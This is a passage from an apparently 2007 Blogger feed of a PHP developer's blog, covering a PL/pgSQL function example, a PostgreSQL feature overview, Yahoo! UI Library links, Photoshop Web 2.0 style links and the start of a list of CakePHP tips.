&lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; equivalent to the example from the C functions.&lt;br /&gt; &lt;/a&gt;&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;&lt;a name="AEN30927"&gt;CREATE FUNCTION c_overpaid (EMP, INTEGER) RETURNS BOOLEAN AS '&lt;br /&gt; DECLARE&lt;br /&gt;     emprec ALIAS FOR $1;&lt;br /&gt;     sallim ALIAS FOR $2;&lt;br /&gt; BEGIN&lt;br /&gt;     IF emprec.salary ISNULL THEN&lt;br /&gt;         RETURN ''f'';&lt;br /&gt;     END IF;&lt;br /&gt;     RETURN emprec.salary &amp;gt; sallim;&lt;br /&gt; END;&lt;br /&gt;' LANGUAGE 'plpgsql';&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1689649836798567007?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1689649836798567007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1689649836798567007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1689649836798567007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1689649836798567007'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/php-pgsql-example-of-function.html' title='Php-PgSql Example of Function'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-8428840579232313524</id><published>2007-07-26T23:32:00.000-07:00</published><updated>2007-07-26T23:42:45.566-07:00</updated><title type='text'>PostgreSQL: The world's most advanced open source database</title><content type='html'>Download Postgre Sql PgAdmin : &lt;a href="http://phppgadmin.sourceforge.net/?page=download"&gt;Download Now Version 4.1.3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PostgreSQL is a powerful, open source relational database system. It has&lt;br /&gt;more than 15 years of active development and a proven architecture that has&lt;br /&gt;earned it a strong reputation for reliability, data integrity, and&lt;br /&gt;correctness. It runs on all major operating systems, including Linux, UNIX (AIX,&lt;br /&gt;BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is&lt;br /&gt;fully ACID compliant, has full support for foreign keys, joins, views, triggers,&lt;br /&gt;and stored procedures (in multiple languages). It includes most SQL92 and SQL99&lt;br /&gt;data types, including INTEGER, NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL,&lt;br /&gt;and TIMESTAMP. It also supports storage of binary large objects, including pictures,&lt;br /&gt;sounds, or video. It has native programming interfaces for C/C++, Java, .Net, Perl,&lt;br /&gt;Python, Ruby, Tcl, ODBC, among others.&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;An enterprise class database, PostgreSQL boasts sophisticated features&lt;br /&gt;such as Multi-Version Concurrency Control (MVCC), point in time recovery,&lt;br /&gt;tablespaces, asynchronous replication, nested transactions (savepoints),&lt;br /&gt;online/hot backups, a sophisticated query planner/optimizer, and write ahead logging&lt;br /&gt;for fault tolerance. It supports international character sets, multibyte&lt;br /&gt;character encodings, Unicode, and it is locale-aware for sorting,&lt;br /&gt;case-sensitivity, and formatting. It is highly scalable both in the sheer quantity&lt;br /&gt;of data it can manage and in the number of concurrent users it can&lt;br /&gt;accommodate. There are active PostgreSQL systems in production environments that&lt;br /&gt;manage in excess of 4 terabytes of data. Some general PostgreSQL limits are&lt;br /&gt;included in the table below. &lt;/p&gt;&lt;div class="informaltable"&gt;&lt;a name="table1"&gt;&lt;/a&gt;&lt;table border="0"&gt;&lt;colgroup&gt;&lt;col&gt;&lt;col&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;span class="bold"&gt;&lt;b&gt;Limit&lt;/b&gt;&lt;/span&gt;&lt;/th&gt;&lt;th&gt;&lt;span class="bold"&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Maximum Database Size&lt;/td&gt;&lt;td&gt;Unlimited&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Table Size&lt;/td&gt;&lt;td&gt;32 TB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Row Size&lt;/td&gt;&lt;td&gt;1.6 TB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Field Size&lt;/td&gt;&lt;td&gt;1 GB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Rows per Table&lt;/td&gt;&lt;td&gt;Unlimited&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Columns per Table&lt;/td&gt;&lt;td&gt;250 - 1600 depending on column types&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maximum Indexes per Table&lt;/td&gt;&lt;td&gt;Unlimited&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;PostgreSQL has won praise from its users and industry recognition, including the Linux New Media Award for Best Database System and three time winner of the The Linux Journal Editors' Choice Award for best DBMS.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Featureful and Standards Compliant&lt;/h2&gt;&lt;p&gt;PostgreSQL prides itself in standards compliance. Its SQL implementation&lt;br /&gt;strongly conforms to the ANSI-SQL 92/99 standards. It has full support for&lt;br /&gt;subqueries (including subselects in the FROM clause), read-committed and&lt;br /&gt;serializable transaction isolation levels. And while PostgreSQL has a fully&lt;br /&gt;relational system catalog which itself supports multiple schemas per database,&lt;br /&gt;its catalog is also accessible through the Information Schema as defined in the&lt;br /&gt;SQL standard.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Data integrity features include (compound) primary keys, foreign keys with&lt;br /&gt;restricting and cascading updates/deletes, check constraints, unique&lt;br /&gt;constraints, and not null constraints.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;It also has a host of extensions and advanced features. Among the&lt;br /&gt;conveniences are auto-increment columns through sequences, and&lt;br /&gt;&lt;tt class="literal"&gt;LIMIT/OFFSET&lt;/tt&gt; allowing the return of partial result&lt;br /&gt;sets. PostgreSQL supports compound, unique, partial, and functional indexes&lt;br /&gt;which can use any of its B-tree, R-tree, hash, or GiST storage methods.&lt;/p&gt;&lt;p&gt;GiST&lt;br /&gt;&lt;br /&gt;(&lt;span class="emphasis"&gt;&lt;em&gt;Generalized Search Tree&lt;/em&gt;&lt;/span&gt;) indexing is an advanced system&lt;br /&gt;which brings together a wide array of different sorting and searching algorithms&lt;br /&gt;including B-tree, B+-tree, R-tree, partial sum trees, ranked B+-trees and many&lt;br /&gt;others. It also provides an interface which allows both the creation of custom&lt;br /&gt;data types as well as extensible query methods with which to search them. Thus,&lt;br /&gt;GiST offers the flexibility to specify &lt;span class="emphasis"&gt;&lt;em&gt;what&lt;/em&gt;&lt;/span&gt; you store,&lt;br /&gt;&lt;span class="emphasis"&gt;&lt;em&gt;how&lt;/em&gt;&lt;/span&gt; you store it, and &lt;span class="emphasis"&gt;&lt;em&gt;the ability to define new&lt;br /&gt;ways&lt;/em&gt;&lt;/span&gt; to search through it --- ways that far exceed those offered by&lt;br /&gt;standard B-tree, R-tree and other generalized search algorithms.&lt;/p&gt;&lt;p&gt;GiST serves as a foundation for many public projects that use PostgreSQL&lt;br /&gt;such as OpenFTS and PostGIS. OpenFTS (Open Source Full&lt;br /&gt;Text Search engine) provides online indexing of data and relevance ranking for&lt;br /&gt;database searching. PostGIS is a project which adds support for geographic&lt;br /&gt;objects in PostgreSQL, allowing it to be used as a spatial database for&lt;br /&gt;geographic information systems (GIS), much like ESRI's SDE or Oracle's Spatial&lt;br /&gt;extension.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Other advanced features include table inheritance, a rules systems, and&lt;br /&gt;database events. Table inheritance puts an object oriented slant on table&lt;br /&gt;creation, allowing database designers to &lt;span class="emphasis"&gt;&lt;em&gt;derive&lt;/em&gt;&lt;/span&gt; new tables&lt;br /&gt;from other tables, treating them as base classes. Even better, PostgreSQL&lt;br /&gt;supports both single and multiple inheritance in this manner.&lt;/p&gt;&lt;p&gt;The rules system, also called the &lt;span class="emphasis"&gt;&lt;em&gt;query rewrite&lt;br /&gt;system&lt;/em&gt;&lt;/span&gt;, allows the database designer to create rules which identify&lt;br /&gt;specific operations for a given table or view, and dynamically transform them&lt;br /&gt;into alternate operations when they are processed.&lt;/p&gt;&lt;p&gt;The events system is an interprocess communication system in which&lt;br /&gt;messages and events can be transmitted between clients using the&lt;br /&gt;&lt;tt class="literal"&gt;LISTEN&lt;/tt&gt; and &lt;tt class="literal"&gt;NOTIFY&lt;/tt&gt; commands, allowing both&lt;br /&gt;simple peer to peer communication and advanced coordination on database&lt;br /&gt;events. Since notifications can be issued from triggers and stored procedures,&lt;br /&gt;PostgreSQL clients can monitor database events such as table updates, inserts,&lt;br /&gt;or deletes as they happen.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Highly Customizable&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;PostgreSQL runs stored procedures in more than a dozen programming languages, including Java, Perl, Python, Ruby, Tcl, C/C++,&lt;br /&gt;and its own PL/pgSQL, which is similar to Oracle's PL/SQL. Included with its&lt;br /&gt;standard function library are hundreds of built-in functions that range from&lt;br /&gt;basic math and string operations to cryptography and Oracle&lt;br /&gt;compatibility. Triggers and stored procedures can be written in C and loaded&lt;br /&gt;into the database as a library, allowing great flexibility in extending its&lt;br /&gt;capabilities. Similarly, PostgreSQL includes a framework that allows developers&lt;br /&gt;to define and create their own custom data types along with supporting functions&lt;br /&gt;and operators that define their behavior. As a result, a host of advanced data&lt;br /&gt;types have been created that range from geometric and spatial primitives to&lt;br /&gt;network addresses to even ISBN/ISSN (International Standard Book&lt;br /&gt;Number/International Standard Serial Number) data types, all of which can be&lt;br /&gt;optionally added to the system.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Just as there are many procedure languages supported by PostgreSQL, there&lt;br /&gt;are also many library interfaces as well, allowing various languages both&lt;br /&gt;compiled and interpreted to interface with PostgreSQL. There are interfaces for&lt;br /&gt;Java (JDBC), ODBC, Perl, Python, Ruby, C, C++, PHP, Lisp, Scheme, and Qt just to&lt;br /&gt;name a few.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Best of all, PostgreSQL's source code is available under the most liberal&lt;br /&gt;open source license: the BSD license. This license gives you the freedom to use,&lt;br /&gt;modify and distribute PostgreSQL in any form you like, open or closed&lt;br /&gt;source. Any modifications, enhancements, or changes you make are yours to do&lt;br /&gt;with as you please. As such, PostgreSQL is not only a powerful database system&lt;br /&gt;capable of running the enterprise, it is a development platform upon which to&lt;br /&gt;develop in-house, web, or commercial software products that require a capable&lt;br /&gt;RDBMS.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-8428840579232313524?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/8428840579232313524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=8428840579232313524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8428840579232313524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8428840579232313524'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/postgresql-worlds-most-advanced-open.html' title='PostgreSQL: The world&apos;s most advanced open source database'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-762789250641822464</id><published>2007-07-22T22:40:00.000-07:00</published><updated>2007-07-22T22:51:05.073-07:00</updated><title type='text'>Yahoo! User Interface Library</title><content type='html'>The Yahoo! User Interface (YUI) Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML and AJAX. The YUI Library also includes several core CSS resources. All components in the YUI Library have been released as open source under a &lt;a href="http://www.blogger.com/license.txt"&gt;BSD license&lt;/a&gt; and are free for all uses.&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p id="download"&gt;&lt;a href="http://www.blogger.com/download/"&gt;&lt;img src="http://us.i1.yimg.com/us.yimg.com/i/ydn/yuiweb/download_1.gif" title="Download the YUI Library from Sourceforge." border="0" height="23" width="108" /&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/yui/download/"&gt;Download&lt;/a&gt; the entire library, API documentation, and functional examples from Sourceforge.&lt;/p&gt;&lt;br /&gt;&lt;h4&gt;Using YUI:&lt;/h4&gt;&lt;br /&gt;   &lt;ul&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/articles/faq/"&gt;FAQ&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;postID=762789250641822464#start"&gt;Getting Started&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;amp;postID=762789250641822464#license"&gt;Licensing&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;postID=762789250641822464#components"&gt;Components&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;amp;postID=762789250641822464#patterns"&gt;Design Patterns &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;postID=762789250641822464#articles"&gt;Articles&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;amp;postID=762789250641822464#cheatsheets"&gt;Cheat Sheets&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;postID=762789250641822464#support"&gt;Support &amp;amp; Community&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3778689083063619753&amp;amp;postID=762789250641822464#filingbugs"&gt;Filing Bugs and Feature Requests&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Searchable API Documentation&lt;/h4&gt;API docs are availabe for every YUI component.  You can search the API documentation with instant filtering &lt;a href="http://www.blogger.com/docs/"&gt;on the main API page&lt;/a&gt;.&lt;br /&gt;  &lt;br /&gt;&lt;div class="yui-u"&gt;&lt;br /&gt;&lt;br /&gt;   &lt;h4&gt;YUI Library Utilities:&lt;/h4&gt;&lt;br /&gt;       &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/animation/"&gt;Animation Utility&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/history/"&gt;Browser History Manager [experimental]&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/history/"&gt;       &lt;/a&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/connection/"&gt;Connection Manager&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/datasource/"&gt;DataSource Utility&lt;/a&gt; &lt;img src="http://us.i1.yimg.com/us.yimg.com/i/not/beta_1.gif" alt="beta" /&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;       &lt;li&gt;&lt;a href="http://www.blogger.com/dragdrop/"&gt;Drag and Drop Utility&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;       &lt;li&gt;&lt;a href="http://www.blogger.com/dom/"&gt;DOM Collection&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/element/"&gt;Element Utility&lt;/a&gt; &lt;img src="http://us.i1.yimg.com/us.yimg.com/i/not/beta_1.gif" alt="beta" /&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/event/"&gt;Event Utility&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/yahoo/"&gt;The YAHOO Global Object&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;YUI Library CSS Tools:&lt;br /&gt;    &lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/grids/"&gt;CSS Grids&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/fonts/"&gt;CSS Fonts&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/reset/"&gt;CSS Reset&lt;/a&gt;&lt;br /&gt;   &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="yui-u"&gt;&lt;h4&gt;YUI Library Controls:&lt;br /&gt;    &lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/autocomplete/"&gt;AutoComplete&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/button/"&gt;Button Control&lt;/a&gt; &lt;img src="http://us.i1.yimg.com/us.yimg.com/i/not/beta_1.gif" alt="beta" /&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/calendar/"&gt;Calendar&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/container/"&gt;Container&lt;/a&gt; (including &lt;a href="http://www.blogger.com/container/module/"&gt;Module&lt;/a&gt;, &lt;a href="http://www.blogger.com/container/overlay/"&gt;Overlay&lt;/a&gt;, &lt;a href="http://www.blogger.com/container/panel/"&gt;Panel&lt;/a&gt;, &lt;a href="http://www.blogger.com/container/tooltip/"&gt;Tooltip&lt;/a&gt;, &lt;a href="http://www.blogger.com/container/dialog/"&gt;Dialog&lt;/a&gt;, &lt;a href="http://www.blogger.com/container/simpledialog/"&gt;SimpleDialog&lt;/a&gt;) &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/datatable/"&gt;DataTable&lt;/a&gt; &lt;img src="http://us.i1.yimg.com/us.yimg.com/i/not/beta_1.gif" alt="beta" /&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/logger/"&gt;Logger&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/menu/"&gt;Menu&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/slider/"&gt;Slider&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/tabview/"&gt;TabView&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://www.blogger.com/treeview/"&gt;TreeView&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-762789250641822464?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/762789250641822464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=762789250641822464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/762789250641822464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/762789250641822464'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/yahoo-user-interface-library.html' title='Yahoo! User Interface Library'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1867306557853537164</id><published>2007-07-17T21:56:00.000-07:00</published><updated>2007-07-17T21:58:03.198-07:00</updated><title type='text'>Ultimate Web 2.0 Layer Styles</title><content type='html'>&lt;a href="http://php-ajax-code.blogspot.com/2007/07/web-20-layer-layout-badges-gradients-by.html"&gt;Web 2.0 Layer Layout Badges Gradients by Photoshop&lt;/a&gt;&lt;br /&gt;    &lt;br /&gt;   &lt;div class="post-header-line-1"&gt;&lt;/div&gt;&lt;script type="text/javascript"&gt;br /&gt;digg_url = "http://php-ajax-code.blogspot.com/2007/07/web-20-layer-layout-badges-gradients-by.html";&lt;br /&gt;&lt;/script&gt;&lt;div class="post-body"&gt;Create your Web look great in Web 2.0 Styles with Photoshop (&lt;strong&gt;.PSD, &lt;/strong&gt;.&lt;strong&gt;ASL, &lt;/strong&gt;&lt;strong&gt;.PNG, &lt;/strong&gt;&lt;strong&gt;.grd&lt;/strong&gt;)&lt;br /&gt;&lt;p&gt;&lt;br /&gt;1.  &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.dezinerfolio.com/2007/05/06/ultimate-web-20-layer-styles/"&gt;Ultimate Web 2.0 Layer Styles&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;131 Photoshop Layer Styles created in .ASL ( Photoshop Layer Style ) format.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dezinerfolio.com/wp-content/uploads/2007/05/web20layerstyles_l.jpg"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://www.dezinerfolio.com/wp-content/uploads/2007/05/web20layerstyles_l.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span&gt;2.  &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.dezinerfolio.com/2007/06/27/10-web-layout-design-elements/" rel="bookmark"&gt;10 Web Layout Design Elements&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dezinerfolio.com/wp-content/uploads/2007/06/webdesignelements.jpg"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://www.dezinerfolio.com/wp-content/uploads/2007/06/webdesignelements.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;3.  &lt;a style="font-weight: bold;" href="http://www.dezinerfolio.com/2007/04/23/web-20-badges-free-download/" rel="bookmark"&gt;Web 2.0 Badges&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Badges are a key requirement for any basic website too.  Here is a set of very cool &lt;strong&gt;Web 2.0 Badges&lt;/strong&gt; for you in &lt;strong&gt;.PSD&lt;/strong&gt; and &lt;strong&gt;.PNG&lt;/strong&gt; formats.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dezinerfolio.com/wp-content/uploads/2007/04/badges.jpg"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://www.dezinerfolio.com/wp-content/uploads/2007/04/badges.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;4.  &lt;a style="font-weight: bold;" href="http://www.dezinerfolio.com/2007/03/14/ultimate-web-20-gradients-free-download/" rel="bookmark"&gt;Ultimate Web 2.0 Gradients&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gradients are one of the most important aspects to be considered while designing a Web 2.0 Site.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dezinerfolio.com/wp-content/uploads/2007/05/30grads_preview.jpg"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://www.dezinerfolio.com/wp-content/uploads/2007/05/30grads_preview.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1867306557853537164?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1867306557853537164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1867306557853537164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1867306557853537164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1867306557853537164'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/ultimate-web-20-layer-styles.html' title='Ultimate Web 2.0 Layer Styles'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1778493406191855957</id><published>2007-07-16T01:56:00.000-07:00</published><updated>2007-07-16T01:59:12.458-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Php Development'/><title type='text'>21 Things You Must Know About CakePHP</title><content type='html'>&lt;h4&gt;Easily creating static pages&lt;/h4&gt;&lt;p&gt;I needed to create several pages that didn't use any models and contained static data inside the default layout. My first thought was to create a controller for these pages and define an action for each static page I needed. However, this solution seemed tedious and would make it difficult to quickly add new pages. Enter the pages controller - simply create a view inside the views/pages/ folder and it'll automatically be rendered in /pages. For example, if I created /views/pages/matt.thtml it would be accessible via http://www.example.com/pages/matt &lt;/p&gt; &lt;h4&gt;Static pages - Adjusting the page title &lt;/h4&gt; &lt;p&gt;If you're using the pages controller and you need to change the page title, add the following to your view: &lt;br&gt;&lt;code&gt;&amp;lt;? $this-&amp;gt;pageTitle = 'Title of your page.'; ?&amp;gt;&lt;/code&gt;&lt;/p&gt; &lt;h4&gt;Static pages - Adjusting other data sent to the layout&lt;/h4&gt; &lt;p&gt;If you need to send data to the layout (such as a variable indicating what section to highlight on the nav bar), add this to your view: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;? $this-&amp;gt;_viewVars['somedata'] = array('some','data'); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;That array should then be accessible as $somedata inside your layout.  &lt;/p&gt;&lt;h4&gt;Creating a simple admin center&lt;/h4&gt; &lt;p&gt;If you need to create an administrative back-end for your CakePHP site and would like all the actions with administrative capabilities to exist under a specific folder, open up config/core.php and uncomment: &lt;br&gt;define('CAKE_ADMIN', 'admin');&lt;br&gt;This will then make all actions that are prefixed with "admin_" to be accessible via: &lt;br&gt;/admin/yourcontroller/youraction. For instance, if I created an action in my posts controller called "admin_add," I would access this via: www.example.com/admin/posts/add&lt;br&gt;From there I could simply password the admin folder to prohibit unwanted users from adding posts. &lt;/p&gt; &lt;h4&gt;Viewing the SQL queries that are running behind the scenes&lt;/h4&gt; &lt;p&gt;You can easily see the SQL queries that CakePHP is running by adjusting the DEBUG constant in config/core.php. 0 is production, 1 is development, 2 is full debug with SQL, and 3 is full debug with SQL and dump of the current object. I typically have debug set at 2, which renders a table at the bottom of the page that contains SQL debug information. &lt;br&gt;If rendering a table at the bottom of your site is constantly breaking your layout during development (especially if you're making AJAX calls and you're getting SQL inside your pages, not just the bottom), you can easily style this table to be hidden by adding this to your CSS: &lt;br&gt;&lt;code&gt;.cakeSqlLog { display: none; } &lt;/code&gt;&lt;br&gt;This will allow you to view debug information in the HTML source code without your layout getting mangled, just don't forget to set debug back to 0 when your site goes live. &lt;/p&gt; &lt;h4&gt;Multiple sources of documentation&lt;/h4&gt; &lt;p&gt;Don't just rely on the &lt;a href="http://manual.cakephp.org/"&gt;manual&lt;/a&gt;. The &lt;a 